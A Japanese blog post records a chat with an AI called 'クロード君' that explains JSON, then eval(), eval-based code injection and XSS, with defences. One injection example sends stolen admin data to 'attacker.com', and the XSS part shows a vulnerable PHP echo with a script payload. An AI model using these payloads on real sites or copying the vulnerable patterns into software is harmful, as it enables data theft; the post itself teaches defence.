【クロード君との会話】JSON深掘り談話録 - 基礎から攻撃手法まで

カテゴリ: blog

Schue@naobi: jsonの話をしてた vscodeの環境設定でよく使うが、あまりにんげんが直接書くものじゃないのか?

クロード君: JSONは確かに人間が直接書くものとマシンが生成するものの両方の側面がありますね。

VSCodeの設定ファイル(settings.json)は良い例で、これは人間が直接編集することも多いです。設定画面のGUIを使う人もいれば、JSONファイルを直接開いて編集する人もいます。特に細かい設定や複雑な設定をする場合は、JSONを直接触った方が早いことがよくあります。

一般的には:

人間が直接書くケース

  • 設定ファイル(VS Code、package.json等)
  • 簡単なAPIのテストデータ
  • 小規模な設定やデータ交換

マシンが生成するケース

  • APIのレスポンス
  • ログファイル
  • 大量のデータ出力
  • プログラムから動的に作成されるデータ

JSONの良いところは、人間にとって読みやすく、同時にマシンにとっても処理しやすい点です。XMLと比べると記述量が少なくて済むし、JavaScriptとの親和性も高い。だから「人間が書けるけど、マシンが生成することの方が多い」という感じでしょうか。

VS Codeで設定を触るとき、GUIとJSON直接編集のどちらを使うことが多いですか?

Schue@naobi: jsonってなんだ?jsとの関係は?

クロード君: JSONは「JavaScript Object Notation」の略で、データを表現するための軽量な形式です。

JSとの関係 もともとはJavaScriptのオブジェクト記法から生まれました。JavaScriptでオブジェクトを書くときの書き方とほぼ同じなんです:

// JavaScript のオブジェクト
const person = {
  name: "田中",
  age: 30,
  hobbies: ["読書", "映画鑑賞"]
};

// JSON(文字列として表現)
{
  "name": "田中",
  "age": 30,
  "hobbies": ["読書", "映画鑑賞"]
}

主な違い

  • JSONでは文字列のキーは必ずダブルクォートで囲む
  • JSONは純粋なデータ形式(関数や undefined は含められない)
  • JavaScriptオブジェクトはコード内で使う実際のオブジェクト

なぜJSONが広まったか

  • 軽量で読みやすい
  • 多くのプログラミング言語で簡単に扱える
  • WebのAPIでデータをやり取りするのに便利
  • XMLより簡潔

今ではJavaScript以外の言語(Python、Java、C#など)でも標準的なデータ交換形式として使われています。「JavaScript生まれだけど、今は言語を超えた標準規格」という感じですね。

Schue@naobi: jsonすごいな。jsonで知っておくべき知識は?

クロード君: JSONで知っておくべき重要な知識をいくつか挙げてみます:

基本的なデータ型

  • 文字列(必ずダブルクォート)
  • 数値(整数・小数)
  • 真偽値(true/false)
  • null
  • 配列 [1, 2, 3]
  • オブジェクト {"key": "value"}

書き方のルール

  • キーは必ずダブルクォートで囲む
  • 末尾にカンマは付けない(エラーになる)
  • コメントは書けない
  • 関数、undefined、Symbolは使えない

よくあるミス

// ダメな例
{
  name: "田中",        // シングルクォート・クォートなし
  age: 30,            // 末尾カンマ
  // これはコメント      // コメント
}

// 良い例
{
  "name": "田中",
  "age": 30
}

実用的な話

  • ネストは深くしすぎない(可読性のため)
  • 大きなJSONファイルは整形ツールを使う
  • バリデーションツールで構文チェックする
  • セキュリティ:信頼できないJSONをそのまま eval() しない

JavaScriptでの扱い

JSON.stringify(obj)  // オブジェクト → JSON文字列
JSON.parse(str)      // JSON文字列 → オブジェクト

この辺りを押さえておけば、設定ファイルやAPI連携で困ることはほとんどないと思います。

Schue@naobi: evalとは?

クロード君: eval() は JavaScriptの関数で、文字列として渡されたコードを実際のJavaScriptコードとして実行する機能です。

基本的な使い方

eval("console.log('Hello World')");  // "Hello World" が出力される
eval("2 + 3");                       // 5 が返される
eval("var x = 10; x * 2");          // 20 が返される

JSONとの関係 昔は、JSONを JavaScript のオブジェクトに変換するのに eval() を使う人がいました:

// 危険な方法(絶対にやらないで!)
const jsonString = '{"name": "田中", "age": 30}';
const obj = eval('(' + jsonString + ')');

// 安全な方法
const obj = JSON.parse(jsonString);

なぜ危険なのか eval() は渡された文字列を何でも実行してしまうため、悪意のあるコードが混入すると大変なことになります:

// 悪意のある例
const malicious = '{"name": "田中"}; alert("ハッキングされました"); //';
eval(malicious);  // アラートが表示される(実際はもっと危険なことも)

基本原則

  • JSONの処理には必ず JSON.parse() を使う
  • eval() は可能な限り避ける
  • どうしても使う場合は、信頼できる入力のみ

「eval is evil(evalは悪)」とよく言われるのは、このセキュリティリスクのためです。現代のJavaScript開発では、ほぼ使わない機能と考えて良いでしょう。

Schue@naobi: スクリプトのevalを探してjsonを送り込む攻撃とかありそうだな

クロード君: まさにその通りです!それは実際によくある攻撃手法で、「Code Injection(コードインジェクション)」や「Script Injection」と呼ばれます。

典型的な攻撃パターン

// 脆弱なコード例
function loadUserData(jsonString) {
    // 危険:ユーザー入力をそのままeval
    return eval('(' + jsonString + ')');
}

// 攻撃者が送り込む悪意のあるJSON
const maliciousInput = `{"name": "田中"}; 
    fetch('/admin/users').then(r=>r.json()).then(d=>
        fetch('http://attacker.com/steal', {method:'POST', body:JSON.stringify(d)})
    ); //`;

loadUserData(maliciousInput);  // 管理者データが盗まれる

実際の攻撃例

  • Cookie や localStorage の情報窃取
  • 他のAPIへの不正アクセス
  • XSS(Cross-Site Scripting)の実行
  • 管理者権限の乗っ取り

防御方法

  • 絶対に eval() を使わない
  • JSON.parse() のみ使用
  • 入力値の厳格な検証
  • Content Security Policy(CSP)の設定
// 安全な方法
function loadUserData(jsonString) {
    try {
        return JSON.parse(jsonString);  // 安全
    } catch (e) {
        console.error('無効なJSON:', e);
        return null;
    }
}

セキュリティ業界では「Trust no input(入力を信頼するな)」が鉄則です。特にWebアプリケーションでは、ユーザーからの入力は全て悪意があるものとして扱う必要がありますね。

Schue@naobi: xssってなんだっけ?

クロード君: XSSは「Cross-Site Scripting」の略で、Webサイトに悪意のあるスクリプトを注入する攻撃手法です。

基本的な仕組み 攻撃者が、通常は信頼されているWebサイトに悪意のあるJavaScriptコードを埋め込んで、そのサイトを訪問したユーザーのブラウザで実行させる攻撃です。

典型的な例

<!-- 脆弱なPHPコード -->
<p>こんにちは、<?php echo $_GET['name']; ?>さん!</p>

<!-- 攻撃者がURLに仕込む -->
http://example.com/page.php?name=<script>alert('XSS攻撃!')</script>

<!-- 結果的に出力される危険なHTML -->
<p>こんにちは、<script>alert('XSS攻撃!')</script>さん!</p>

XSSで何ができてしまうか

  • Cookieの盗取(ログイン情報など)
  • セッションハイジャック
  • 偽のログイン画面を表示
  • 他のサイトへの不正リダイレクト
  • ユーザーの個人情報窃取

主な種類

  • Reflected XSS: URLパラメータ経由
  • Stored XSS: データベースに保存される(掲示板の投稿など)
  • DOM-based XSS: JavaScript内での処理で発生

防御方法

  • 入力値のサニタイズ(< → < など)
  • 適切なエスケープ処理
  • Content Security Policy(CSP)
  • HttpOnly Cookieの使用

現代のWebフレームワークは多くがXSS対策を自動で行ってくれますが、開発者として仕組みを理解しておくことは重要ですね。

なおび堂 | Schue's Portfolio